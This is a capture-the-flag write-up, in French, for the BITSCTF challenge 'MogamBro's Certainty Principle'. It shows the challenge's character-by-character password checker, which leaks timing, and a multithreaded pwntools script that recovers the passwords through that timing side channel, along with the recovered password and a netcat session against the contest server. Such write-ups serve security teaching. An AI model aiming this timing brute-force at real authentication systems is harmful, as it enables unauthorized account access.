Skip to content

MogamBro's Certainty Principle


Description

Write Up : Gwendal
Créateur : 4rm44n
Difficulté : Moyen
Points : 432
Format du flag : BITSCTF{password}

Enoncé

MogamBro's Certainty Principle states that the more accurate you are the more delay you'll face. Δt • Δp ≥ frustration / ram_space; where p is precission and t is time.
Pièce(s) jointe(s): - N/A


Solution détaillée

Information préalable

Une adresse IP était fournie pour se connecter au challenge via netcat. Le code obtenu dans cpu.py sur le serveur correspond à ça :

#!/usr/bin/python3

import time
import random


def game(passwd, pause):
    password = passwd
    guess = input("Enter password: ").lower()
    progress = 0

    wrong = False
    for i in range(len(guess)):
        try:
            if guess[i] == password[i]:
                time.sleep(pause)
                progress += 1
                continue
            else:
                wrong = True
                break
        except:
            wrong = True
            break
    if len(password) > len(guess):
        wrong = True
    if wrong:
        print("Incorrect password")
        time_taken = pause * progress + random.uniform(0.00001, 0.0001)
        print("Time taken: ", time_taken)
        exit()

Reconnaissance

On va tout d'abord essayer de lancer le programme afin de comprendre comment il pourrait fonctionner.

En lançant le programme, on s'aperçoit qu'on nous demande d'entrer un mot de passe. En testant différents mots de passe, nous constatons que si le mot de passe commence par la lettre 's', la valeur est plus grande tandis que pour les autres mots de passe c'est moins significatif. Après avoir relu l'énoncé du sujet pour comprendre ce que pourrait signifier ces valeurs, j'ai déduis que cela se referait au temps dont il est question dans l'énoncé. Donc si on commence par la lettre 's', le temps est plus long que si on commençait par une autre lettre.

A force d'essais, on remarque que lorsqu'on arrive à détecter une sous chaîne du mot de passe recherché, le temps est plus long que si on était sur une sous chaîne ne faisant pas partie du mot de passe recherché.

Exploitation

En écrivant rapidement un script en Python, nous pouvons deviner le mot de passe en suivant la différence de temps pris et afficher le mot de passe lorsque nous ne recevons plus de messages "Incorrect Password".

Après avoir laissé tourner le script, le mot de passe trouvé est sloppytoppywithatwist, ce qui nous donne l'invite suivante :

$ nc 20.244.33.146 4445 
Enter password: sloppytoppywithatwist
Congratulations! You have unlocked the door to level 2!
Enter password:

Ah... Là c'est un peu plus relou, du coup il semble qu'il va falloir identifier plusieurs mot de passe. Bon, à ce niveau là, il va falloir modifier notre script pour qu'il trouve tous les mots de passe requis et au mieux utiliser du multi-threading pour les trouver plus rapidement :

from pwn import *
import threading

curr_passwd = ''
time_taken = 0

password_list = []

checklist = []


def try_letter(_i, _curr_passwd, _time_taken):
    global checklist
    p = process("./cpu.py")

    for k in password_list:
        p.sendline(k.encode())
        p.recvline().decode()

    p.sendline(_curr_passwd.encode() + _i.encode())
    j = p.recvline().decode()

    if 'Congratulations!' in j:
        print(j)
        password_list.append(_curr_passwd + _i)
        _curr_passwd = ''
        _time_taken = 0
        print("Found passwords: ", password_list)
        p.close()
        checklist = [_curr_passwd, _time_taken, 0]
        if 'flag' in j:
            checklist[2] = 1
        return
    j = p.recvline().decode()
    x = j.split()[-1]

    x = float(x)
    print("Found passwords: ", password_list)
    print(_curr_passwd + _i)
    print(abs(x - _time_taken))
    if abs(x - _time_taken) > 0.002:
        print("found!")
        _time_taken = x
        _curr_passwd += _i
        p.close()
        checklist = [_curr_passwd, _time_taken, 0]
        return

    p.close()
    return


while True:
    threads = []
    for i in "abcdefghijklmnopqrstuvwxyz":
        t = threading.Thread(target=try_letter, args=(i, curr_passwd, time_taken))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()
    curr_passwd = checklist[0]
    time_taken = checklist[1]
    if checklist[2] == 1:
        break

Flag: BITSCTF{c0n6r...ry}